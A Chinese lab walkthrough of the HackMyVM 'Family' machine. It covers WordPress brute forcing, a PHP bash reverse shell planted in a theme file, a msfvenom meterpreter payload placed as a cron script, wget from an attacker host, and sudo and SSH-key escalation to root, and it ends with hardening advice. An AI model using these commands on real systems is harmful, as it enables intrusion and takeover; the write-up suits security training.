hackmyvm——Family
字数 1289 2025-08-22 12:23:42

WordPress渗透测试实战:从信息收集到Root提权

1. 信息收集阶段

1.1 主机发现

使用arp-scan进行局域网主机发现:

arp-scan -l

1.2 端口扫描

使用Nmap进行全端口扫描和服务识别:

nmap -A -p- -T4 172.20.10.4

发现开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

1.3 Web应用指纹识别

访问80端口发现异常页面,检查源码后发现需要进行本地域名解析:

vim /etc/hosts

添加目标IP和可能的域名映射

2. WordPress漏洞利用

2.1 用户枚举

使用WPScan枚举WordPress用户:

wpscan --url http://172.20.10.4/wordpress/ -e u

发现admin用户存在

2.2 密码爆破

使用rockyou.txt字典爆破admin密码:

wpscan --url http://172.20.10.4/wordpress/ -P /usr/share/wordlists/rockyou.txt -U admin.txt

成功获取凭证:admin:phantom

2.3 后台漏洞利用

  1. 登录WordPress后台
  2. 寻找可编辑的主题文件(如search.php)
  3. 修改文件内容插入PHP反向shell代码:
<?php exec("bash -c 'bash -i &>/dev/tcp/172.20.10.2/8888 0>&1'"); ?>
  1. 本地监听:
nc -lvp 8888
  1. 访问修改后的文件触发反向shell

3. 权限提升:初始访问后

3.1 系统信息收集

id
ip a
sudo -l
find / -perm -4000 2>/dev/null

3.2 敏感文件检查

检查WordPress配置文件:

cat /var/www/html/wordpress/wp-config.php

检查/home目录:

ls -la /home

3.3 横向移动

发现/home目录下存在多个用户,尝试使用发现的密码切换用户:

su father

建立交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

4. 权限提升:定时任务利用

4.1 监控定时任务

下载并使用pspy监控进程:

wget http://attacker_ip:12345/pspy64
chmod +x pspy64
./pspy64

发现定时执行的脚本:~/check.py(由uid 1001用户执行)

4.2 利用定时任务

  1. 确认uid 1001对应mother用户
  2. 在mother目录下创建恶意check.py文件
  3. 使用msfvenom生成Python反向shell:
msfvenom -p python/meterpreter/reverse_tcp LHOST=172.20.10.2 LPORT=5566 -f raw > check.py
  1. 本地设置监听等待反弹shell

5. 权限提升:sudo提权

5.1 检查sudo权限

sudo -l

发现可以以baby用户身份无需密码执行valgrind

5.2 利用GTFOBins提权

sudo -u baby valgrind /bin/sh

成功获取baby用户shell

6. 最终Root提权

6.1 SSH密钥写入

  1. 读取本地Kali的公钥
  2. 在baby用户下创建authorized_keys文件:
mkdir -p /home/baby/.ssh
echo 'ssh-rsa AAAAB3Nza...' > /home/baby/.ssh/authorized_keys

6.2 通过SSH登录

ssh baby@localhost

6.3 读取root私钥

sudo -l  # 发现可以无密码执行cat
sudo cat /root/.ssh/id_rsa

6.4 获取root权限

  1. 将root私钥保存到本地
  2. 使用私钥SSH登录root:
ssh root@127.0.0.1 -i id_rsa
  1. 获取完整root shell:
!/bash

7. 关键知识点总结

  1. WordPress安全

    • 用户枚举漏洞
    • 弱密码风险
    • 主题/插件文件编辑漏洞
  2. 权限提升技术

    • 定时任务监控与利用
    • SUID/SGID检查
    • Sudo权限滥用
  3. 横向移动技术

    • 密码重用攻击
    • SSH密钥注入
    • 权限委托滥用
  4. 隐蔽技术

    • 交互式shell建立
    • 文件传输技巧
    • 进程监控
  5. 提权资源

    • GTFOBins (https://gtfobins.github.io/)
    • pspy工具使用

8. 防御建议

  1. WordPress安全加固:

    • 禁用用户枚举
    • 使用强密码策略
    • 限制主题/插件编辑权限
  2. 系统安全配置:

    • 合理配置sudo权限
    • 监控定时任务
    • 限制SSH密钥认证
  3. 监控与检测:

    • 文件完整性监控
    • 异常进程检测
    • 登录审计
  4. 最小权限原则:

    • 应用最小权限运行
    • 用户权限分离
    • 定期权限审查
WordPress渗透测试实战:从信息收集到Root提权 1. 信息收集阶段 1.1 主机发现 使用 arp-scan 进行局域网主机发现: 1.2 端口扫描 使用Nmap进行全端口扫描和服务识别: 发现开放端口: 22/tcp (SSH) 80/tcp (HTTP) 1.3 Web应用指纹识别 访问80端口发现异常页面,检查源码后发现需要进行本地域名解析: 添加目标IP和可能的域名映射 2. WordPress漏洞利用 2.1 用户枚举 使用WPScan枚举WordPress用户: 发现admin用户存在 2.2 密码爆破 使用rockyou.txt字典爆破admin密码: 成功获取凭证:admin:phantom 2.3 后台漏洞利用 登录WordPress后台 寻找可编辑的主题文件(如search.php) 修改文件内容插入PHP反向shell代码: 本地监听: 访问修改后的文件触发反向shell 3. 权限提升:初始访问后 3.1 系统信息收集 3.2 敏感文件检查 检查WordPress配置文件: 检查/home目录: 3.3 横向移动 发现/home目录下存在多个用户,尝试使用发现的密码切换用户: 建立交互式shell: 4. 权限提升:定时任务利用 4.1 监控定时任务 下载并使用pspy监控进程: 发现定时执行的脚本:~/check.py(由uid 1001用户执行) 4.2 利用定时任务 确认uid 1001对应mother用户 在mother目录下创建恶意check.py文件 使用msfvenom生成Python反向shell: 本地设置监听等待反弹shell 5. 权限提升:sudo提权 5.1 检查sudo权限 发现可以以baby用户身份无需密码执行valgrind 5.2 利用GTFOBins提权 成功获取baby用户shell 6. 最终Root提权 6.1 SSH密钥写入 读取本地Kali的公钥 在baby用户下创建authorized_ keys文件: 6.2 通过SSH登录 6.3 读取root私钥 6.4 获取root权限 将root私钥保存到本地 使用私钥SSH登录root: 获取完整root shell: 7. 关键知识点总结 WordPress安全 : 用户枚举漏洞 弱密码风险 主题/插件文件编辑漏洞 权限提升技术 : 定时任务监控与利用 SUID/SGID检查 Sudo权限滥用 横向移动技术 : 密码重用攻击 SSH密钥注入 权限委托滥用 隐蔽技术 : 交互式shell建立 文件传输技巧 进程监控 提权资源 : GTFOBins (https://gtfobins.github.io/) pspy工具使用 8. 防御建议 WordPress安全加固: 禁用用户枚举 使用强密码策略 限制主题/插件编辑权限 系统安全配置: 合理配置sudo权限 监控定时任务 限制SSH密钥认证 监控与检测: 文件完整性监控 异常进程检测 登录审计 最小权限原则: 应用最小权限运行 用户权限分离 定期权限审查